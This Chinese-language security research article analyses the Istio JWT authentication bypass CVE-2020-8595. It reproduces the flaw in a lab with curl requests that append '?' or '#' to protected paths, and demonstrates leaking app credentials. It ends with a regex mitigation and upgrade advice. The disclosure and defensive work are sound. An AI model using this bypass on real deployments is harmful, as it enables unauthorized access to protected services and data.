【雲原生攻防研究】Istio訪問授權再曝高危漏洞
一.概述
在過去兩年,以Istio為代表的Service Mesh的問世因其出色的架構設計及火熱的開源社群在業界迅速聚集了一批擁簇者。Service Mesh不僅可以降低應用變更過程中因為耦合產生的衝突(傳統單體架構應用程式程式碼與應用管理程式碼緊耦合),也使得每個服務都可以有自己的團隊從而獨立進行運維。
在給技術人員帶來這些好處的同時,Istio的安全問題也令人堪憂,正如人們所看到的,微服務由於將單體架構拆分為眾多的服務,每個服務都需要訪問控制和認證授權,這些威脅無疑增加了安全防護的難度。
Istio在2019年一月份和九月份相繼曝出三個未授權訪問漏洞(CVE-2019-12243、CVE-2019-12995、CVE-2019-14993),其中CVE-2019-12995和CVE-2019-14993均與Istio的JWT機制相關,看來攻擊者似乎對JWT情有獨鍾。2月4日,由Aspen Mesh公司的一名員工發現並提出Istio的JWT認證機制再次出現服務間未經授權訪問的Bug,並最終提交了CVE,CVSS機構也將此CVE最終評分為9.0,可見此漏洞之嚴重性。
本文以JWT作為出發點,首先對其進行介紹,進而延伸到Istio的JWT認證機制及對此次漏洞的剖析,最後透過實驗還原CVE-2020-8595漏洞的攻擊場景。
二.背景
JSON Web Token(JWT)是為了在網路應用環境間傳遞宣告而執行的一種基於JSON的開放標準。JWT也是目前最流行的跨域認證解決方案,對於認證問題,業界一般採用的模式為服務端儲存session,客戶端透過服務端返回的session_id(即cookie)與服務端進行身份驗證從而得知使用者身份。這種模式目前存在的問題是擴充套件性不好,單機沒有問題,但在分散式叢集環境中是要求session資料共享的。
舉個例子來說明,A網站和B網站是同一家公司的關聯服務,現在要求,使用者只要在其中一個網站登入,再訪問另一個網站就會自動登入,一種解決辦法是採用session將資料持久化,寫入資料庫,當服務收到請求時都向持久層請求資料,這種方式缺點是工作量大,另外萬一資料庫掛掉就會存在單點失敗問題。另外一種方案是索性將資料儲存在客戶端,服務端不儲存資料了,每次請求都發回服務端,JWT就是這種方案的一個代表。
JWT的原理也較好理解,伺服器認證之後會返回一個json物件併傳送給客戶端,這樣每次與服務端通訊時都要以此json物件作為憑證去訪問,當然考慮到安全問題(使用者可能會對json資料進行篡改),服務端生成json物件時會加上簽名,故服務端不儲存session了,且變為無狀態,達到了易於擴充套件的目的。
Istio架構中的JWT認證主要依賴於JWKS(JSON Web Key Set), JWKS是一組金鑰集合,其中包含用於驗證JWT的公鑰,在Istio中JWT認證策略通常透過配置一個.yaml檔案實現,為了便於理解,以下是一個簡單的jwt認證策略配置:
issuer: https://example.com
jwksUri: https://example.com/.well-known/jwks.json
triggerRules:
- excludedPaths:
- exact: /status/version
includedPaths:
- prefix: /status/
其中:
issuer:代表釋出JWT的發行者;
jwksUri: 獲取JWKS的地址,用於驗證JWT的簽名,jwksUri可以為遠端伺服器地址也可以在本地地址,其內容通常為域名或url, 本地會存在某個服務的某路徑下;
triggerRules(重要):此引數意思為Istio使用JWT驗證請求的觸發規則列表,如果滿足匹配規則就會進行JWT驗證,此引數使得服務間認證彈性化,使用者可以按需配置下發規則,以上策略triggerRules部分的意思為對於任何帶有“/status/”字首的請求路徑,除了/status/version以外, 都需要JWT認證「此次漏洞也是出在這個triggerRules機制上」
關於triggerRules配置詳細內容可以參考https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/
三.漏洞說明
關於CVE-2020-8595漏洞,Istio的官方宣告為:
A bug in Istio’s Authentication Policy exact path matching logic allows unauthorized access to resources without a valid JWT token. This bug affects all versions of Istio that support JWT Authentication Policy with path based triggeRules. The logic for the exact path match in the Istio JWT filter includes query strings or fragments instead of stripping them off before matching. This means attackers can bypass the JWT validation by appending ? or # characters after the protected paths.
從中可以看出問題出現在Istio JWT策略配置中的triggeRules機制,triggeRules包含請求url的字串匹配機制,主要有以下四種:
圖1 triggeRules字串匹配型別
「exact」是導致這次漏洞的罪魁禍首,它代表完全匹配的字串才可以滿足要求, 而完全匹配原則是需要包含url後面所附帶的引數(“?”)以及fragments定位符("#"),而不是在匹配之前將“?”和“#”隔離的內容進行分離,這裡為了便於理解,舉一個完整的url例子說明,如下所示:
圖2 完整的url示意圖
triggeRules中exact匹配的內容應當“/over/there?name=ferret#nose”,而不是“/over/there”,Istio的JWT認證策略在填寫triggeRules時只考慮到了path部分,而省略了query和fragment部分,從而攻擊者可以透過在受保護的path後新增“?”或“#”進行繞過從而達到未授權(JWT)訪問。以Istio的JWT認證策略舉例更容易理解,如下所示:
指定JWT保護路徑的原始認證策略如下:
---
apiVersion: "authentication.istio.io/v1alpha1"
kind: "Policy"
metadata:
name: "jwt-example"
namespace: istio-system
spec:
targets:
- name: istio-ingressgateway #需要在Istio閘道器入口處部署JWT認證策略
origins:
- jwt:
issuer: "testing@secure.istio.io" #JWT頒發者
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json" #用於驗證JWT的JWKS所在URL
trigger_rules: #JWT驗證請求的觸發規則列表
- included_paths: #代表只有訪問包含以下路徑規則才需要JWT認證
- exact: /productpage #滿足路徑與productpage完全匹配後,才可以訪問productpage服務(需要JWT認證,沒有有效JWT無法訪問)
問題出在最後一行,如果exact處的url為“/productpage?a=1”或者“/productpage?b=1#go”,那麼按照匹配原則,訪問路徑應該是定位到
https://example.com//productpage?a=1及https://example.com/productpage?b=1#go”
由於這兩個url都屬於“/productpage”路徑下,那麼應該當透過JWT身份認證後才可以訪問,但因為服務端Istio沒有做好防護,將query部分和fragment部分與path進行分類處理了,認為“/productpage?a=1” 不屬於“/productpage”這個path, 並且認為其沒有新增JWT策略所以不需要進行認證,從而攻擊者可以透過在path後新增“#”或“?”輕鬆繞過JWT認證進行未授權訪問。
四.實驗驗證
4.1 環境
Istio版本:v1.4.2
Kubernetes版本:v1.16.2
叢集主機: node1(Master)/node2 (Slave)
作業系統:Ubuntu 18.04
4.2 準備工作
4.2.1建立foo名稱空間
kubectl create ns foo
4.2.2建立httpbin服務
httpbin.yaml 在istio/istio-1.4.2/samples/httpbin路徑下
kubectl apply -f <(istioctl kube-inject -f httpbin.yaml) -n foo
4.2.3建立httpbin gateway
#建立httpbin gateway
kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
name: httpbin-gateway
namespace: foo
spec:
selector:
istio: ingressgateway # use Istio default gateway implementation
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "*"
EOF
4.2.4暴露httpbin服務
#透過ingress gateway將httpbin服務暴露在外部可訪問
kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: httpbin
namespace: foo
spec:
hosts:
- "*"
gateways:
- httpbin-gateway
http:
- route:
- destination:
port:
number: 8000
host: httpbin.foo.svc.cluster.local
EOF
4.2.5對httpbin服務部署JWT策略
cat <<EOF | kubectl apply -n foo -f -
apiVersion: "authentication.istio.io/v1alpha1"
kind: "Policy"
metadata:
name: "jwt-example"
spec:
targets:
- name: httpbin
origins:
- jwt:
issuer: "testing@secure.istio.io"
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
trigger_rules:
- included_paths:
- exact: /ip
principalBinding: USE_ORIGIN
EOF
4.2.6設定環境變數
export INGRESS_HOST=http://192.168.19.11:31380
4.3 場景復現
首先我們先訪問一個未加JWT認證的url path“/user-agent”:
root@node2:~# curl -v $INGRESS_HOST/user-agent
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /user-agent HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: istio-envoy
< date: Thu, 05 Mar 2020 06:47:22 GMT
< content-type: application/json
< content-length: 34
< access-control-allow-origin: *
< access-control-allow-credentials: true
< x-envoy-upstream-service-time: 7
<
{
"user-agent": "curl/7.58.0"
}
可以看到返回200狀態碼,訪問成功。
接著再訪問加了JWT認證的url path "/ip":
Origin authentication failed.root@node2:~# curl -v $INGRESS_HOST/ip
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /ip HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< content-length: 29
< content-type: text/plain
< date: Thu, 05 Mar 2020 06:49:37 GMT
< server: istio-envoy
< x-envoy-upstream-service-time: 0
可以看到服務端返回401 Unauthorized拒絕訪問,原因是需要認證授權,證明策略生效了。
我們再訪問JWT認證下的path + query(透過新增”?“符號)
root@node2:~# curl -v $INGRESS_HOST/ip?a=1
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /ip?a=1 HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: istio-envoy
< date: Thu, 05 Mar 2020 06:53:00 GMT
< content-type: application/json
< content-length: 29
< access-control-allow-origin: *
< access-control-allow-credentials: true
< x-envoy-upstream-service-time: 5
<
{
"origin": "10.244.0.0"
}
可以看到返回為200狀態碼,說明不需要JWT的認證也可以訪問ip這個path下的內容,從而完成繞過。
同理在url後新增“#”符號也完成繞過。
4.4驗證PoC
綠盟君在網上找到一個PoC可以驗證此漏洞,此指令碼由Google Istio團隊Francois Pesce 提供:
https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh
實驗結果如下:
root@node2:/home/puming/test# ./test_istio_jwt_cve.sh istio/proxyv2:1.4.2
/home/puming/test/cve-2020-8595.VzW0Mi /home/puming/test
./test_istio_jwt_cve.sh: line 260: warning: here-document at line 148 delimited by end-of-file (wanted `EOF')
Sleeping for 5 seconds so the docker container is up and running
[CVE-2020-8595] Vulnerable
3d74c863fdb819f2bcabb8334b1e8f4fdd56c9d0908918ef4f900131fb21c814
/home/puming/test
確實可以證明Istio環境存在漏洞,感興趣的讀者可以自己嘗試。
4.5 漏洞利用
未授權的訪問漏洞經常會使攻擊者有機可乘,透過未授權的資源訪問達到一些目的,綠盟君將透過一個簡單實驗說明此漏洞的可利用性。在Istio環境中,首先部署了一個基於django框架的Web應用,此Web應用因為存在某介面($INGRESS_HOST/apps)的未授權訪問漏洞以及邏輯缺陷導致敏感資訊洩漏, 透過直接訪問
curl -v $INGRESS_HOST/apps?manifest=com.canonical.ubuntu.desktop
curl -v $INGRESS_HOST/apps?manifest=com.mozilla.mozdef 可以將漏洞資訊還原,如下所示:
圖3 敏感資訊洩漏
透過上圖的紅框部分可以看出,該網站的app詳細資訊介面由於未授權訪問漏洞暴露了app的敏感資訊,例如埠號、作業系統版本、使用者名稱密碼等。對於網站開發人員來說,可能並不知此漏洞的存在,於是潛在的危險出現了,以下將還原整個過程,首先將此應用部署至Istio,透過下發JWT策略對”/apps”進行身份認證,配置如下:
cat <<EOF | kubectl apply -n foo -f -
apiVersion: "authentication.istio.io/v1alpha1"
kind: "Policy"
metadata:
name: "jwt "
spec:
targets:
- name: web-test
origins:
- jwt:
issuer: "testing@secure.istio.io"
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
trigger_rules:
- included_paths:
- exact: /apps
principalBinding: USE_ORIGIN
EOF
配置成功後進行訪問,可以看到訪問失敗,證明JWT策略生效了,如下所示:
root@node2:~# curl -v $INGRESS_HOST/apps/
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /apps/ HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< content-length: 29
< content-type: text/plain
< date: Thu, 07 Mar 2020 04:49:37 GMT
< server: istio-envoy
< x-envoy-upstream-service-time: 0
以攻擊者視角嘗試訪問”/apps?”:
root@node2:~# curl -v $INGRESS_HOST/apps?
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /apps? HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: istio-envoy
< date: Thu, 07 Mar 2020 04:53:00 GMT
< content-type: application/json
< content-length: 29
< access-control-allow-origin: *
< access-control-allow-credentials: true
< x-envoy-upstream-service-time: 5
<
可以成功訪問,證明了Istio的未授權訪問漏洞確實存在,於是攻擊者可以完美繞過JWT認證並且成功利用到程式自身的漏洞,進而訪問到每個app的敏感資訊,一旦攻擊者擁有這些敏感資訊例如使用者名稱密碼,便可直接對網站上的app進行訪問,植入後門,後果不堪設想。
以上只是一個簡單的漏洞利用場景,現實攻擊中,開發人員還有可能因為疏忽在某訪問路徑下放置金鑰資訊,攻擊者一旦拿到金鑰便可透過ssh登入到其它主機從而展開持續性攻擊,所以Istio所爆的漏洞只是為攻擊者開啟了一扇門,使用者自己的應用程式安全性才是最重要的。
五.修復方法
透過新增正則臨時緩解
由於triggeRules中url的字串匹配機制支援正規表示式,所以我們可以加上正則防止繞過:
- jwt:
issuer: "testing@secure.istio.io"
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
trigger_rules:
- included_paths:
- regex: '/productpage(\?.*)?' #
- regex: '/productpage(#.*)?' #
此正規表示式滿足 path + query + fragment 完全匹配,我們可以簡單實驗下可行性:
給exact路徑新增正則匹配前先將之前的策略刪除。
root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# kubectl delete policy.authentication.istio.io jwt-example -n foo
policy.authentication.istio.io "jwt-example" deleted
root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# cat <<EOF | kubectl apply -n foo -f -
> apiVersion: "authentication.istio.io/v1alpha1"
> kind: "Policy"
> metadata:
> name: "jwt-example"
> spec:
> targets:
> - name: httpbin
> origins:
> - jwt:
> issuer: "testing@secure.istio.io"
> jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
> trigger_rules:
> - included_paths:
> - regex: '/ip(\?.*)?'
> - regex: '/ip(#.*)?'
> principalBinding: USE_ORIGIN
> EOF
policy.authentication.istio.io/jwt-example created
再訪問ip的完整URL,如下所示,可以看到服務端返回401 Unauthorized拒絕訪問,說明正則匹配生效,'/ip(#.*)?'同理。
root@node2:~# curl -v $INGRESS_HOST/ip?a=1
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /ip?a=1 HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< content-length: 29
< content-type: text/plain
< date: Thu, 05 Mar 2020 07:02:58 GMT
< server: istio-envoy
< x-envoy-upstream-service-time: 0
升級Istio至1.4.4和1.3.8以及之後的版本
六. 漏洞評估
CVSS評分為9.0分[6],級別定位嚴重,綠盟君認為未經認證授權訪問會帶來很多嚴重性後果,如果是授權頁面的話,其它使用者可以隨意訪問,從而會引起重要許可權可能被操作、網站目錄、資料庫等敏感資訊洩漏的風險。在Kubernetes環境下,容器為執行Pod的載體,由於Pod內容器之間可以透過Localhost互相訪問,所以一旦有一個容器失陷,進而會傳播到Pod中的其它容器,如果是特權容器,還有可能風險更為嚴重,所以此漏洞在微服務環境中風險較大。
七. 總結
CVE-2020-8595漏洞讓Istio的安全管理機制脆弱性得以暴露,那麼JWT自身又存在哪些安全風險呢?綠盟君透過對JWT的研究瞭解到JWT本身是不加密的(加密只有JWT的Signature部分)並且是無狀態的,所以JWT很容易洩漏並且被利用,雖然Istio的mTLS機制可以解決服務間通訊的流量加密問題,但這樣JWT就足夠安全了嗎?答案是不一定,畢竟誰也不能確保不會把JWT硬編碼在原始碼中。現實攻擊手段變幻莫測,唯有知己知彼方可百戰百勝,這就需要從自身培養安全意識做起,防護應由內而外,只有這樣,我們的系統才夠安全。
八.參考文獻
[1] https://blog.christianposta.com/how-a-service-mesh-can-help-with-microservices-security/
[2] http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
[3] https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/#Jwt
[4] https://tools.ietf.org/html/rfc7517
[5] https://istio.io/docs/tasks/security/authentication/authn-policy/#enable-mutual-tls-per-namespace-or-service
[6] https://istio.io/news/security/istio-security-2020-001/
[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595
[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-8595
[9] https://aspenmesh.io/aspen-mesh-1-4-4-1-3-8-security-update/
[10] https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/
[11] https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh
[12] https://istio.io/news/security
相關文章
- mongodb未授權訪問漏洞2017-01-05MongoDB
- Redis 未授權訪問漏洞利用2017-08-04Redis
- 【漏洞復現】Redis未授權訪問漏洞2018-02-20Redis
- 谷歌VirusTotal開源元件曝高危漏洞,可獲取內網訪問許可權2022-07-12谷歌Rust元件內網訪問許可權
- Apache Struts 再曝高危遠端程式碼執行漏洞2018-08-27Apache
- 利用redis未授權訪問漏洞(windows版)2021-05-30RedisWindows
- 銘說 | Redis未授權訪問漏洞Getshell2021-11-10Redis
- Redis未授權訪問漏洞利用總結2018-07-06Redis
- 淺談雲上攻防——Kubelet訪問控制機制與提權方法研究2021-08-24
- 系統滲透漏洞の未授權訪問2018-06-27
- Redis v6.0.5未授權訪問漏洞復現2020-09-27Redis
- Redis 未授權訪問漏洞(附Python指令碼)2017-09-21RedisPython指令碼
- Mongodb未授權訪問漏洞全網探測報告2014-12-11MongoDB
- Java安全漏洞:Druid未授權訪問解決2024-04-18JavaUI
- JBOSS未授權訪問2020-10-09
- Linux sudo 漏洞可能導致未經授權的特權訪問2019-10-24Linux
- 利用CouchDB未授權訪問漏洞執行任意系統命令2020-08-19
- Istio安全-授權(實操三)2020-09-01
- 從零開始學習各種常見未授權訪問漏洞2020-12-09
- 多款Intel產品未授權訪問漏洞(CVE-2017-5689)2020-10-16Intel
- 雅虎Messenger曝高危漏洞 駭客可控制系統2007-09-27Messenger
- 授權機制與授權模型研究2009-08-19模型
- MySQL建立使用者授權訪問2014-07-02MySql
- 配置apache授權訪問目錄(轉)2007-08-12Apache
- Docker再曝安全漏洞,這次是PWD的問題2019-01-15Docker
- Etcd REST API 未授權訪問漏洞暴露 750MB 密碼和金鑰2018-03-26RESTAPI密碼
- Druid未授權訪問實戰利用2022-01-24UI
- mysql8.0授權root遠端訪問2024-06-15MySql
- spark未授權RCE漏洞2021-04-21Spark
- GeForce Experience曝出高危漏洞:NVIDIA緊急釋出更新2019-03-29
- 淺談雲上攻防——物件儲存服務訪問策略評估機制研究2021-08-13物件
- 基於Docker的MongoDB實現授權訪問2017-03-11DockerMongoDB
- 蘋果iOS再曝嚴重問題 2.5萬應用程式存在漏洞2015-05-07蘋果iOS
- Redis未授權漏洞復現2024-05-01Redis
- 阿里雲安全組規則授權物件設定為固定IP段訪問2020-07-04阿里物件
- golang對接阿里雲私有Bucket上傳圖片、授權訪問圖片2022-04-03Golang阿里
- 記一次特別的未授權訪問2024-05-13
- SaltStack未授權訪問及命令執行漏洞分析(CVE-2020-16846/25592)2020-11-13